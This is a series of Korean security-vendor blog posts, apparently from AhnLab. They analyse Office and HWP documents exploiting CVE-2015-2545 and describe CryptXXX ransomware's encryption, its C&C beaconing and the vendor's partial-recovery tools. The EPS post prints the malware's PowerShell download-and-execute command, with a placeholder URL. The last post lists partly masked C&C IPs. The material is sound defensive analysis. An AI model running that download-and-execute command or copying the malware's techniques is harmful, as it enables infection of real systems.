최근 Microsoft Office 문서와 한글 파일 내에 삽입된 EPS (Encapsulated PostScript) 개체의 취약점을 이용한 악성코드가 유포되어 사용자의 주의가 요구된다.

 

EPS (Encapsulated PostScript) 는 화면상에 그래픽 요소를 출력하는 용도로 제작된 Adobe 스크립트 언어로캡슐화된 형태를 통해 특정 개체 내에 삽입이 가능하다.

지난 2015년 해당 EPS 파일에서 발견된 CVE-2015-2545 취약점은 Microsoft Office 문서파일을 열 경우 악성코드 제작자가 제작한 임의의 코드를 실행 가능하도록 하며이후 사용자 시스템의 정보유출추가 악성코드 다운로드 등의 악의적인 기능을 수행하는 형태가 발견되고 있다.

 

해당 취약점은 EPS 파일을 처리하는 특정 모듈 내에서 발생하며메모리상에서 이미 해제된 위치를 참조하는 UAF (User-After-Free) 기법을 사용한다각 문서 포맷 별 EPS 처리모듈은 아래 [-1] 과 같다.

종류

취약점 발생 파일명

Microsoft Office

EPSIMP32.FLT

HWP

gswin32c.exe

[-1] 문서포맷 별 EPS 취약점 발생 파일명


해당 악성코드는 주로 이메일에 첨부된 문서파일 형태로 유포되며운송장이나 영수증과 같은 메일제목을 포함하고 있다사용자는 출처가 불분명한 이메일의 첨부파일은 열어보지 않도록 각별한 주의가 필요하며, [-2] 의 최신 업데이트 패치를 통해 취약점을 통한 악성코드 실행 공격을 예방할 수 있다.

종류

최신 업데이트 링크

Microsoft Office

https://support.microsoft.com/ko-kr/kb/3054993

HWP

http://www.hancom.com/cs_center/csDownload.do


[-2] 문서 뷰어 프로그램 별 최신 업데이트 링크

 

지난 10 24일 국내에서 수집된 악성코드는 Microsoft Office 워드문서로 제작되었으며아래 [그림-1] 과 같이 문서파일 내 CVE-2015-2545 취약점이 존재하는 EPS 개체가 포함되어 있다

[그림-1] Office 문서 구조의 EPS 취약점 개체가 포함된 위치

 

해당 문서 실행 시 [그림-2] 와 같이 영수증 스캔 내용이 화면에 출력되나 실제로는 취약점을 통해 악성코드 제작자가 삽입한 실행 코드가 수행된다.

[그림-2] EPS 취약점 개체가 삽입된 Office 문서의 실행화면

 

해당 문서 내 삽입된 EPS 파일에서 취약점을 발생시키는 구문은 [그림-3] 과 같으며특정 데이터 값을 메모리상에 로드하고 참조하는 과정을 통해 악성코드 제작자가 의도한 특정 메모리 영역의 코드를 실행한다.

[그림-3] EPS 파일 내 취약점 발생구간

 

취약점이 실행된 이후 사용자 시스템의 %Temp% 경로에 "igfxe.exe" 파일명으로 추가 악성코드를 생성하며파일 내 존재하는 특정 URL에서 악성코드를 다운로드 한다.

다운로드 방식은 Windows Vista 이상의 운영체제에서 기본으로 지원하는 PowerShell.exe 프로세스를 통해 실행하며아래 [-3] 과 같이 PowerShell.exe 인자값으로 사용자 명령을 입력하여 악성코드를 다운로드 하도록 한다.

cmd.exe /c "PowerShell (New-Object System.Net.WebClient).DownloadFile('https://[다운로드URL]\[파일명.exe],'[파일명].exe');(New-Object -com Shell.Application).ShellExecute('[파일명].exe');"

[-3] PowerShell 을 이용한 악성코드 다운로드

 

취약점을 통해 생성된 igfxe.exe 파일은 V3에서 Trojan/Win32.ZBot.C1534517 로 진단한다.

 

또한, Microsoft Office 문서뿐 아니라 국내에서 사용되는 한글 오피스를 대상으로도 동일한 EPS 취약점 문서파일이 제작되고 있다. 기존에는 한글문서 자체의 구조적 취약점을 악용한 악성코드가 제작된 것에 비해최근에는 한글문서 이외의 모듈상에 존재하는 취약점을 한글문서에 삽입함으로써 다양한 형태로의 취약점 공격이 시도되고 있다.

 

해당 EPS 개체가 삽입된 위치는 한글 문서 구조상에서 [그림-4] 와 같이 BinData 폴더 내부에 존재하며해당 폴더는 한글 문서 내에서 처리하는 이미지 파일 및 미디어 개체가 포함되는 위치이다.

[그림-4] 한글 문서 구조 내 EPS 취약점 개체가 삽입된 위치 (BIN0001.eps)

 

최근 국내에서 접수된 한글문서는 [그림-5] 와 같이 특정 이슈사항에 대한 내용을 포함하며특정인이나 특정 기관을 대상으로 이메일 첨부파일을 통해 유포하는 것으로 추정된다.

이메일에 첨부된 한글 문서파일은 사용자로 하여금 관심을 갖도록 하는 이슈와 관련되며문서 실행 후에는 최초 실행한 문서파일을 정상문서로 덮어씀으로써 이후 사용자가 감염사실을 인지하지 못하도록 한다.

[그림-5] EPS 취약점 개체가 삽입된 한글문서 실행 화면

 

취약점 한글파일 및 다운로드 된 추가 악성코드 파일은 V3에서 HWP/Exploit, TextImage/Shellcode 로 진단한다.

 

최근 EPS 취약점 개체를 이용한 형태로 다양한 종류의 문서 파일이 악의적으로 제작되고 있으며이를 통한 백도어 및 추가 악성코드의 2차 감염이 진행되고 있다.

현재 Microsoft 및 한컴에서는 해당 취약점에 대한 보안패치를 제공하였으며, 해당 문서 파일을 사용하는 시스템에서는 프로그램을 최신 버전으로 업데이트하여 이와 같은 취약점 공격에 대비하여야 한다

또한, 발신자가 불명확한 의심스러운 이메일에 첨부된 문서파일은 열어보지 않도록 각별한 주의가 요구된다

 

[참고]

Microsoft 보안 공지 MS15-099 - 긴급

https://technet.microsoft.com/ko-kr/library/security/ms15-099.aspx

Microsoft Office 잘못된 형식의 EPS 파일 취약성(CVE-2015-2545)(영문)

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2545


신고
Creative Commons License
Creative Commons License
Posted by a0_zest

CryptXXX 랜섬웨어 3.x 버전의 암호화 방식 및 부분 복구툴을 배포하였다. 부분 복구 대상은 텍스트 형식의 파일들로 아래의 25개의 확장자를 갖는다.

JAVA, HTML, CPP, TXT, HTM, PHP, VBS, ASP, PAS, JSP, ASM, XML, DTD, CMD, CSS, SQL, PY, JS, CS, SH, VB, PS, PL, C, H

2차로 MS Office 문서 파일들 중, PPTX, DOCX, XLSX 확장자 파일들에 대한 부분 복구기능을 추가하였다. 이들 3가지 파일들은 Open XML 형식으로 파일 시작부분이 ZIP 압축헤더 형태를 갖는 공통점이 존재한다. 부분 복구툴에서는 3가지 문서 파일들의 데이터 중 일부가 (공개키 암호화로 인해) 손실된 상태에서도 ZIP 압축헤더를 재구성해주는 방식을 통해 일부 데이터를 복구하는 형태로 전용 복구툴을 업데이트 하였다.

 

 

1. 압축 헤더 재구성

아래의 [그림-1]은 원본 PPTX 파일과 부분복구 파일 간의 압축헤더 부분을 비교한 것으로 압축해제를 위해 필요한 부분을 계산하여 최대한 원본과 동일하게 재 구성한다. [그림-1]에서 붉은색, 파란색 표시 부분을 제외하고 원본과 동일하게 생성한 것을 확인할 수 있다.

 

[그림-1] 압축헤더 재구성

 

 

2. 압축 데이터 일부 손상

파일시작 압축헤더 부분(0x40 크기)을 재 구성하여도 아래의 [그림-2]에서처럼 파일 중간에 공개키로 암호화된 영역은 복구가 불가능하여 임의의 값("####...#")으로 채운 것을 확인할 수 있다.

[그림-2] 문서 내 압축 데이터 중 손상 부분

 

 

3. 부분 복구파일 실행

부분 복구된 PPTX 파일을 실행 시, 아래와 같이 내용에 문제가 있어 [복구] 버튼을 클릭하도록 하는 메시지 창을 확인할 수 있다. 이 때, [복구] 버튼을 클릭하면, 읽을 수 없는 내용이 제거되었다는 알림창을 확인할 수 있다. 

[그림-3] 부분 복구파일 실행 시 알림 창

 

아래의 [그림-4]는 이러한 과정을 거쳐 실행된 부분 복구 PPTX 파일과 원본 파일과의 비교를 나타낸 것으로, 전체 슬라이드와 텍스트 내용은 복구되었으나, 내부 이미지가 손상되어 차이가 발생한 것을 확인할 수 있다.

[그림-4] 원본 파일과의 비교

 

PPTX 의 예제와 동일하게 DOCX, XLSX 도 부분 복구한 파일은 데이터 손상으로 인해 정상적으로 문서가 열리지 않거나, 일부 데이터가 제거된 형태로 보여지는 문제를 갖고 있다.

 

 

4. 부분 복구툴

업데이트된 CryptXXX 랜섬웨어 3.x 버전에 대한 부분 복구 툴은 아래의 경로로부터 다운로드 가능하다.

- [다운로드]

 

 

5. 열리지 않는 파일들에 대한 수동조치 방법 (DOCX, XLSX, PPTX)

 

(1) "My Document.docx" 부분 복구파일을 "My Document.docx.zip"으로 파일명 변경.

(2) Zip2Fix 무료 툴을 이용하여 손상되지 않은 파일들 재 압축. (Zip2Fix [다운로드])

(3) "My Document.docx_ZFX.zip" 이름의 파일이 생성 됨.

(4) "My Document.docx_ZFX.zip" 파일을 압축해제.

(5) 압축파일 내용 중, 아래의 경로의 XML 파일을 통해 일부 데이터 확인가능.

 

IE, Chrome 등의 브로우저로 보여지는 문서 내용은 제한적이며, 이 외에 메모장(notepad.exe)을 활용하여 손상된 형태이나 추가 데이터를 확인할 수 있다. "document.xml" 파일에 저장된 워드 문서의 글자정보는 UTF-8 형식으로 인코딩된 형태임으로 메모장에서 파일을 오픈 시, 인코딩 방식을 UTF-8 로 선택하여 "document.xml" 파일을 오픈할 경우, 일부 글자정보를 확인할 수 있다.

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

지난 5 26 CryptXXX 이름의 랜섬웨어 중 2.x 버전에 대한 복구 툴을 배포하였다. 최근에는 복구가 불가능한 버전 3.x의 감염사례가 증가하고 있는 추세이다. 2.x 버전에 대한 복구 툴에서는 3.x 버전으로 암호화된 파일을 진단 시, "CryptXXX 3.x 악성코드에 감염된 파일로 복원이 불가능합니다."라는 메시지 창을 출력하고 있다. (암호화된 파일을 통해 버전을 확인할 수 있음) 현재까지 확인된 3.x 버전은 3.002, 3.100, 3.102, 3.200, 3.205 버전이며, 최근 "CryptXXX 랜섬웨어 한글화 버전발견" 제목으로 기사화된 파일은 3.100 버전에 해당하며, "온라인 커뮤니티의 광고배너를 통해 유포된 파일"은 3.200 버전에 해당한다. 3.100 버전 이후로는 암호화 파일의 확장자가 ".crypt" 가 아닌 ".cryp1", ".crypz형태로 변경되었다. 본 글에서는 현재까지 확인된 CryptXXX 3.x 버전의 공통된 암호화 방식을 설명하고, 텍스트 형식의 일부 파일들에 대해 내용 중 일부가 손상된 형태이지만, 부분적 복구가 가능함을 소개한다.

 

[전용복구툴 업데이트]

- 2016.06.23

3.205 버전에서 암호화 방식은 동일하나 파일 확장자가 5바이트 랜덤형태로 변경되어 전용백신 업데이트 함. (ex) .2DF99, .FF000, ... )

 

1. 암호화 방식의 변화

아래의 [그림-1] CryptXXX 랜섬웨어 2.x 3.x 버전의 암호화 방식의 차이를 나타낸다. 붉은색 블록은 공개키로 암호화된 영역이며, 파란색 블록은 고유한 키 테이블 정보를 통해 암호화(XOR)된 영역을 나타낸다. 2.x 버전의 경우, 원본파일을 암호화할 때는 공개키를 사용하지 않고, 키 테이블 정보만을 공개키로 암호화하는 구조이다. , 키 테이블 정보만 있으면 원본파일과 동일하게 복원이 가능하다.

3.x 버전의 경우, 원본파일을 암호화할 때 일부 블록에 대해 공개키를 사용하는 방식으로 변경되었다. 다행인 것은 공개키 사용 부분이 파일 전체가 아닌 일부 구간으로 제한적이며, 그 외 부분은 2.x와 동일방식으로 암호화를 수행한다는 점이다. , 3.x 버전으로 암호화된 파일이라도 파란색 블록에 해당하는 부분은 복구가 가능하다. (2.x 버전에서 사용한 '복원'이라는 표현대신 '부분 복구'라고 언급한 이유)

[그림-1] 암호화 방식의 변화(2.x VS 3.x)

 

공개키로 암호화된 원본 데이터는 0x40 크기이나 암호화 시점에 0x80으로 크기가 증가하는 구조를 갖는다. 2.x 버전으로 암호화된 경우, 파일크기는 원본파일 크기에서 0x104 바이트가 증가한 형태이나, 3.x 버전으로 암호화된 경우, 증가한 파일의 크기는 다음과 같이 계산할 수 있다.

 

·         암호화 파일크기 = 원본파일 크기 + (공개키로 암호화된 블럭의 개수(N) x 0x40) + 0x118

 

 

2. 비 암호화 영역 백업방식의 변화

2.x 버전과 동일하게 3.x 에서도 원본파일의 크기가 0xD00000 (대략 13M) 보다 큰 영역은 암호화 작업을 수행하지 않는다. 하지만, 2.x 에서는 0xD00000 이후의 데이터가 원본과 동일한 형태인 반면, 3.x 에서는 아래의 [그림-2]와 같이 2가지 블록으로 구분하여 순서가 바뀐 형태로 백업된 것을 알 수 있다. , 원본파일과 동일한 구조를 갖기 위해서는 Offset (A)가 아닌 Offset (B) 영역의 블록이 먼저 복사가 이루어져야 한다. 만약, 원본파일이 0xD19D00 보다 작은 경우에는 2가지 블록으로 구분 없이 기존과 동일한 구조를 갖는다.

 

[그림-2] 비 암호화 영역 백업구조

 

 

3. 부분복구 대상파일

3.x 로 암호화된 파일들은 파일 첫 시작부분이 공개키로 암호화되어 원본파일의 Magic 정보를 유추할 수 없다. , 2.x 버전과 동일한 방식의 키 테이블 정보로 암호화된 영역이라 하더라도 Magic 정보를 알 수 없음으로 복구가 어려운 형태이다. 하지만, 텍스트 형식의 아래의 확장자를 갖는 파일들은 파일시작의 Magic 정보가 없는 형태이나 '알파벳', '한글', '숫자', '기호' 등의 데이터로 채워진 상태를 유효한 복호화 상태로 가정하여 키 테이블을 생성할 경우부분 복구가 가능하다. ( 25개 확장자)

JAVA, HTML, CPP, TXT, HTM, PHP, VBS, ASP, PAS, JSP, ASM, XML, DTD, CMD, CSS, SQL, PY, JS, CS, SH, VB, PS, PL, C, H

아래의 [그림-3] 3.x 버전으로 암호화된 "StdAfxX.cpp" 파일에 대해 부분 복구를 시도한 결과를 나타낸다. 원본 파일과 비교하여, 파일시작 첫 64바이트(0x40)가 다름을 알 수 있으며, 이 부분은 공개키로 암호화되어 복구가 불가능한 영역이다

이 부분은 "################################################################" 값을 삽입하여 사용자가 손상 부분을 쉽게 찾을 수 있도록 하였다. (파일크기가 큰 경우, 손상 부분이 여러개 존재)

[그림-3] 부분복구 후 원본파일과 비교

위 그림에서처럼 부분 복구를 통해 원본파일의 텍스트 데이터 중 일부를 복구할 수 있으나, 공개키로 암호화된 영역은 복구가 불가능하여 복구 툴을 이용하여 최종 복구된 파일이라도 정상적인 사용은 어려운 상태이다. 또한 부분 복구 대상 확장자라 하더라도 아래의 조건에 부합하지 않으면 복구가 실패 혹은 진단하지 못하는 경우가 발생할 수 있다.

 

(조건-1)

암호화된 파일의 최소크기는 472 바이트 이상.

: 공개키 암호화 크기(0x80) + 최소비교문자크기(0x40) + 악성코드 시그니처(0x118) = 0x1D8 (=472)

(조건-2) 

ANSI 형태로 저장된 문서이면서, 특정범위가 "한글/영문/기호/숫자" 데이터로만 채워진 경우.

: 같은 복구대상 확장자라도 UTF-8, UNICODE 등 ANSI가 아닌 형태로 저장된 경우는 부분 복구가 불가능하며, 원본 파일시작 0x40~0x80 범위 내의 데이터는 반드시 "한글/영문/기호/숫자" 형태로만 존재해야 함. (한자, 러시아어, 일본어 등이 존재할 경우 복구불가)

 

 

4. 부분 복구툴

CryptXXX 랜섬웨어 3.x 버전에 대한 부분 복구 툴은 아래의 경로로부터 다운로드 가능하다.

- 다운로드

 

[참고]

- 기존 CryptXXX 2.x 버전에 대한 복구툴과는 별개로 3.x 버전만 진단/복구하는 툴 임.

- 지원하는 CryptXXX 랜섬웨어 버전은 3.002, 3.100, 3.102, 3.200, 3.205 임.

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

정상파일을 ".crypt" 확장자를 부여하여 암호화하는 특징을 갖는 CryptXXX 이름의 랜섬웨어는 현재까지 버전 1.x, 2.x, 3.x 세 가지 형태가 알려져 있다. 본 글에서는 이 중, 2.x 버전의 암호화 방식을 소개하고, 이를 바탕으로 일부 파일에 한해 복구가 가능함을 설명한다.

 

1. 암호화 방식

아래의 [그림-1]은 CryptXXX 에 의해 암호화된 "Photo.jpg.crypt" 파일을 나타낸다. 암호화는 고정크기(0x1FFF)의 블록 단위로 순차적으로 이루어지며, 암호화 최대 크기는 0xD012FE (대략 13M)로 이후의 데이터는 원본파일과 동일하다. (단, 원본파일 끝에 260바이트 크기의 데이터는 삽입)

 

[그림-1] CryptXXX 암호화 방식

 

암호화된 파일은 공통적으로 원본파일과 비교하여 260(=0x104)바이트가 증가한 형태이며, 이는 파일 끝 부분에 삽입된 KeyTable 정보([그림-1]에서 붉은색 블록)로 인한 것이다. 이 KeyTable 정보가 블록 단위의 암호를 복호화하는데 핵심이 되는 데이터로 공개키를 통해 암호화되어 저장된다. 즉, 구조적으로는 해당 공개키에 매칭되는 개인키 정보없이는 해당 KeyTable 정보를 복호화할 수 없고, 파일복구가 불가능하다. 하지만, 해당 KeyTable 정보는 개인키 없이도 원본파일 시작부분 일부 데이터(예를들면 파일포멧 별 Magic 정보)만 알 수 있다면 유추할 수 있는 취약성이 존재한다.

- PDF 파일의 Magic: "%PDF" (파일시작 첫 4바이트)
- DOC, PPT, XLS 파일의 Magic: "D0CF11E0" (파일시작 첫 4바이트)

 

2. KeyTable 생성방식과 취약성

아래의 [그림-2]는 파일 끝에 삽입된 0x104 바이트 크기의 KeyTable 이 생성되는 과정을 나타내며, 노란색 부분이 공개키로 암호화된 KeyTable_A[0x40] 이며, CryptEncrypt() API를 통해 공개키로 암호화 시 원본 0x40 크기의 데이터가 최종 0x80 크기로 증가된다.

 

[그림-2] 키 테이블 생성과정

 

[그림-2]에서 언급된 암호화에 사용되는 핵심 정보 3가지는 "4바이트 SEED 값", "KeyTable_A[0x40]", KeyTable_B[0x100] 이며, 최초 4바이트 크기의 SEED 값으로 부터 이후 정보들이 순차적으로 만들어지는 구조를 갖는다. 키 생성과정의 최 상위에 위치하는 SEED 값은 감염시점의 시스템시간(SystemTime) 정보 중, 시(wHour), 분(wMinute), 초(wSecond), 밀리초(wMillisecond) 를 이용하여 얻어지며, 이 SEED 값으로부터 0x40 크기의 KeyTable_A[0x40] 데이터가 생성된다. 바로 이 부분에서 제작자가 의도하지 않은(?) 취약성이 존재하며, SEED 값이 동일하면 매번 동일한 KeyTable_A[0x40] 가 생성되는 구조를 갖는다. 최종 블록 단위의 암호화에 사용되는 KeyTable_B[0x100]의 데이터와 원본파일로 부터 읽은 블록과의 XOR를 통해 암호화가 수행된다. 

즉, SEED 값이 동일하면, 매번 생성되는 최종 키 테이블정보가 동일한 점과 암호화 방식이 XOR라는 2가지 포인트를 바탕으로 복구대상 파일의 고정적 Magic 정보가 존재한다면, 역으로 키를 유추할 수 있는 구조이다. 아래의 [그림-3]은 SEED 값이 0x02978CAC 일 때, 생성되는 키 테이블 A,B의 예를 나타낸다.

 

[그림-3] 키 테이블 A,B 예제

 

KeyTable_A[0x40] 데이터가 생성되는 방식은 아래의 2가지 기본 테이블 중, Delphi Random 함수를 통해 얻은 랜덤값을 바탕으로 하나의 값이 선택되어 구성되는 구조를 갖는다.

(1) "QWERTYUIOPASDFGHJKLZXCVBNM<>:\?!@$%^&*()_+~|"
(2) "qwertyuiop[]asdfghjkl;zxcvbnm,./`1234567890-="

CryptXXX 는 총 2번의 Delphi Random 함수를 사용하여 아래의 Index(A)와 Index(B)를 얻게되고, Index(A)는 위 기본 테이블 중 하나를 선택하기 위한 목적으로, Index(B)는 선택된 테이블의 데이터 중 하나를 선택하기 위한 목적으로 사용된다.

Index(A): DelphiRandom(3) - 0 ~ 2 범위의 랜덤 값 생성 (0, 2인 경우 -> (1)번, 1인 경우 -> (2)번)
Index(B): DelphiRandom(44) - 0 ~ 43 범위의 랜덤 값 생성

예를 들어 Index(A) == 0 이고, Index(B) == 3이면, ‘R’ 문자열이 선택된다.

 

3. 키 테이블 생성함수

CryptXXX 랜섬웨어에서 파일 암호화 시 사용되는 핵심 정보 3가지 별 생성함수는 다음과 같다.

 

(1) SEED 값 생성

아래의 [그림-4]는 SystemTime 정보를 통해 4바이트 크기의 SEED 값을 생성하는 함수를 나타낸다. 시스템시간 정보는 SEED 값 생성에 가장 중요한 정보로 암호화된 파일의 수정시간을 통해 유추할 수 있으나, CryptXXX 는 암호화 수행 전 해당 파일의 시간정보를 저장(GetFileTime)해둔 후, 암호화 완료 후 원래의 시간정보로 재 설정(SetFileTime)하는 기능으로 인해 유추가 불가능하다.

[그림-4] SEED 값 생성함수

 

(2) 키 테이블(A) 생성

아래의 [그림-5]는 SEED 값을 바탕으로 0x40 크기의 키 테이블을 생성하는 함수이며, do-while 문을 통해 1바이트 씩 생성되는 데이터가 SEED 값이 동일하면 동일형태로 생성되는 취약성이 존재하는 부분이다.

[그림-5] 키 테이블(A) 생성함수

 

(3) 키 테이블(B) 생성

아래의 [그림-6]은 키 테이블(A)로 부터 0x100 크기의 최종 키 테이블(B)가 생성되는 함수를 나타낸다. 이 키 테이블 정보는 1바이트 단위의 블록단위의 암호화 시 XOR 키 값으로 사용된다.

[그림-6] 키 테이블(B) 생성함수

 

4. 복구방식

시, 분, 초, 밀리초 정보를 통해 계산되는 SEED 값의 범위는 다음과 같다.

- 최소값: 00:00:00:0000 -> 0, 최대값: 23:59:59:999 -> 0x5265BFF

사용자 마다 그리고 암호화된 파일마다 서로 다른 SEED 값을 유추하기 위해 0 ~ 0x5265BFF 범위의 SEED 를 순차적으로 선택하며, 이를 바탕으로 암호화에 사용된 키 테이블을 생성 및 복호화를 시도한다. 첫 번째 블록에 대한 복호화를 통해 파일의 고유한 Magic 정보가 확인되면, 유효한 SEED 값으로 판단하고 전체 파일에 대한 블록 단위의 복구를 시도한다. 우선 첫 번째 파일이 복구에 성공하면, 두 번째 파일부터는 SEED의 범위를 제한하여 좀 더 빠른 복구가 가능하도록 하였다. 이러한 설정은 복구대상 파일들이 동일 시간대에 감염된 형태가 대부분일 것으로 가정하여 이루어진 것으로 복구대상 파일들이 서로 다른 시스템에서 다른 시간대에 수집된 형태의 경우, 복구시간이 더 오래 걸리는 특징을 갖는다.

아래의 [그림-7]은 CryptXXX 복구툴에서 파일복구을 위해 이루어지는 과정을 나타낸 것으로 구조상 첫번째 파일을 복구하는데 오랜 시간이 소요되며, 이후 파일부터는 빠르게 복구가 가능하다.

 

[그림-7] 복구툴 동작방식

 

5. 복구대상 리스트

복구툴을 통해 복구가능한 CryptXXX 버전은 2.x 로 제한적이며, 우선 아래의 확장자들에 대해 복구가 가능하도록 제작되었다. 하지만, 이 외에도 원본파일의 고유한 Magic 정보만 알 수 있다면, 복구가 가능한 구조이므로 추후 복구대상이 추가될 수 있다.

CHM, AI, HWP, PDB, PDF, RTF, HTM, HTML, PHP, XML, DWG, PS, WSF, KEY, CSR, CRT, WAV, MP3, OGG, WMA, WMV, AVI, ASF, MP4, MOV, MID, MPG, FLV, PNG, GIF, BMP, TIF, JPG, JPEG, ZIP, RAR, BZ2, 7Z, GZ, JAR, APK, TGZ, ODS, DOC, DOT, PPT, POT, PPS, XLS, XLT, DOCX, DOCM, DOTX, DOTM, PPTX, PPTM, POTM, POTX, PPSM, XLSX, XLSB, XLSM, XLTM, XLTX, EPS, ISO, SQLITE3, MDB, MSI, APP, FDB, ACCDB, SLN, CLASS, VCXPROJ

(단, 위 명시된 확장자들 중, 파일시작 부분이 고유한 Magic 정보를 갖지않는 파일들(HTM, HTML, XML, PHP 등)은 현재 일부 태그(<html, <?xml, <?php 등)만을 Magic 정보로 추가한 상태이다. 즉, 암호화된 파일이 해당 태그로 시작하지 않는 경우, 복구하지 못함)

 

[추가 복구대상]

- *.M4A 확장자 추가 - 전용 복구툴 업데이트(2016.06.01)

 

6. 복구툴 경로

CryptXXX 랜섬웨어 2.x 버전에 대한 복구툴은 아래의 경로로 부터 다운로드 가능하다.

https://www.ahnlab.com/kr/site/download/product/productVaccineView.do?seq=118


복구툴에 의해 진단되었으나 치료버튼 클릭 시, 아래와 같이 "복원 실패"로 처리된 파일들의 유형은 다음의 2가지 경우에 해당한다.

전용 복구툴 실행화면

 

유형-1) 감염시점이 복구된 파일들과 다른 경우: 재 검사/치료 시 복원 가능

유형-2) Magic 값을 찾지못한 경우: 새로운 Magic 패턴 추가필요 (대부분 HTML, PHP, XML 등의 경우에 해당)

 

7. CryptXXX 3.x 버전

CryptXXX 랜섬웨어 3.x 버전은 원본 파일을 암호화 시, 키 테이블을 이용한 XOR 방식이 아닌 공개키를 사용하는 것으로 확인되어 복구가 불가능한 구조를 갖습니다. 전용 복구툴을 통해 3.x 버전에 감염된 파일을 진단 시, 아래와 같은 메시지 창을 확인할 수 있습니다.

 

3.x 버전에 대한 복원 불가 메시지

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung


최근 크립트엑스엑스엑스 랜섬웨어가 대량 유포되면서 피해 사례가 늘어나고 있다. 크립토엑스엑스엑스의 특징은 기존 랜섬웨어와는 달리 실행파일(EXE) 형태가 아니라 동적 링크 라이브러리(DLL) 형태로 유포되고 있다는 점이다. DLL 형태로의 유포는 정상적인 프로세스와 함께 동작하는 구조여서 감염 사실을 알아차리기조차 어렵다.

이 글에서는 크립트엑스엑스엑스의 동작 방식과 주요 기능 등 자세한 분석 내용을 소개한다. 또한 안랩은 이러한 분석을 바탕으로 현재 일부 버전(CryptXXX 2.x 버전)에 대한 원본 파일 복구 툴도 제공하고 있다.

크립트엑스엑스엑스 랜섬웨어(진단명: Trojan/Win32.CryptXXX, 이하 크립트엑스엑스엑스)는 컴퓨터에 있는 파일을 암호화한 뒤 “.crypt”확장자로 변경하여 사용자에게 비트코인을 요구하는 랜섬웨어이다. 아래의 [그림 1]은 크립트엑스엑스엑스의 동작 방식이다.

[그림-1] 크립트엑스엑스엑스 동작 방식

 

크립트엑스엑스엑스의 경우 다른 랜섬웨어와의 차이점은 DLL(동적 링크 라이브러리, Dynamic Linking Library)로 동작한다는 점이다. 크립트엑스엑스엑스는 정상 rundll32.exe를 악성 DLL이 있는 경로에 svchost.exe로 이름을 바꾸어 복사한 뒤 악성 DLL의 내보내기(Export) 함수를 인자 값으로 호출하여 동작한다.

[그림-2] svchost.exe(정상 rundll32.exe)로 로드되어 동작하는 악성 DLL

 

이 악성코드는 피해자의 컴퓨터를 감염시킬 때 “!Recovery_사용자ID.txt”, “!Recovery_사용자ID.html”, “!Recovery_사용자ID.bmp” 형식의 파일을 생성하며 내용은 [그림 3, 4]와 같다

[그림-3] 크립트엑스엑스엑스 결제 안내 페이지


[그림-4] 크립트엑스엑스엑스 결제 안내 텍스트


크립트엑스엑스엑스 주요 기능 

n  자동 실행 등록

크립트엑스엑스엑스는 [1]와 같이 시작프로그램에 바로가기 링크파일을 생성한다. [그림 5]에서 알 수 있듯이 해당 링크파일에 의해 실행되는 파일은 크립트엑스엑스엑스이며, MS114 라는 이름의 함수를 호출하는 기능을 한다.


 [-1] 자동 실행 등록을 위한 바로가기 링크파일 생성


[그림-5] 자동 실행 등록 정보

 

n  C&C 통신

[그림-6] C&C 통신 패킷 정보

크립트엑스엑스엑스는 파일을 암호화 하기 전에 C&C에 악성코드가 생성한 사용자 ID를 전송한다.

 

악성 DLL 내부에 암호화 된 C&C 2개이며, 첫 번째 IP에 접속이 되지 않았을 경우 두 번째 IP로 연결된다.

- 144.7*.82.1*:443 

- 93.1**.187.6*:443

 

C&C접속유무와 관계없이 패킷을 전송 한 후에는 파일 암호화가 진행된다.

  

n  파일 암호화 대상

분석된 크립트엑스엑스엑스로부터 확인된 암호화 대상은 [2]와 같다.

Z:\ 부터 A:\ 까지 마운트 된 모든 드라이브 중, 아래 암호화 대상 드라이브만 감염이 진행된다.

[표-2] 암호화 대상 드라이브 


[-3] 암호화 대상 확장자


[표-4] 암호화 제외 대상 경로


n  암호화된 환경

크립트엑스엑스엑스는 암호화가 완료된 파일의 수정한 날짜 시간정보를 백업된 원본의 수정한 날짜로 변경한다.

[그림-7] 암호화 된 파일의 파일의 시간 정보 변경 코드


[그림 7]에서 붉은색 박스로 표현한 부분의 데이터(A4 80 BC 4B 36 B0 D1 01)SetFileTime API를 사용하여 백업된 원본의 수정한 날짜로 변경된다.

[그림-8] 암호화 된 파일의 파일의 시간 정보 변경 전(좌) 및 변경 후(우)


이때 시간정보가 변경된 파일은 MoveFileW API를 사용하여 [원본 파일명].crypt로 확장자가 변경된다.

[그림-9] 암호화 후 확장자 변경

 

그리고 암호화 된 파일이 있는 경로마다 결제 안내 파일들을 생성한다.

[그림-10] 암호화 된 파일들과 생성 된 결제 안내 파일 (.bmp, .html, .txt)


앞서 언급했듯이 SetFileTime API를 이용하여 [그림 11]에 있는 붉은색 박스에 있는 데이터 (00 00 00 00 71 37 00 00)1601312일 월요일 101727초로 변경된다.

[그림-11] 결제 안내 파일의 시간 정보 변경 코드


[그림-12] 결제 안내 파일의 시간 정보 변경 전(좌) 및 변경 후(우)

 

 

생성한 결제 안내 파일의 시간 정보를 [그림-12]과 같이 변경한다. 암호화가 완료되면 [그림-13]와 같은 화면을 띄우고 스크린을 잠기게 하여 사용자가 어떠한 동작도 할 수 없게 한다. 

[그림-13] 암호화 완료 후 화면


 


크립트엑스엑스엑스는 일반적으로 웹사이트 다운로드 등으로 유포되는 경우가 많다따라서 사용자는 출처를 알 수 없는 메일에 첨부된 파일 실행이나 불필요한 사이트 접근을 삼가는 등의 주의가 필요하다

해당 악성코드 감염을 막기 위해서는 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다.

안랩은 원본 파일을 복구해주는 툴을 랜섬웨어 보안센터를 통해 무료로 제공하고 있다.

복구툴 다운로드 받으러 가기

신고
Creative Commons License
Creative Commons License
Posted by JYP

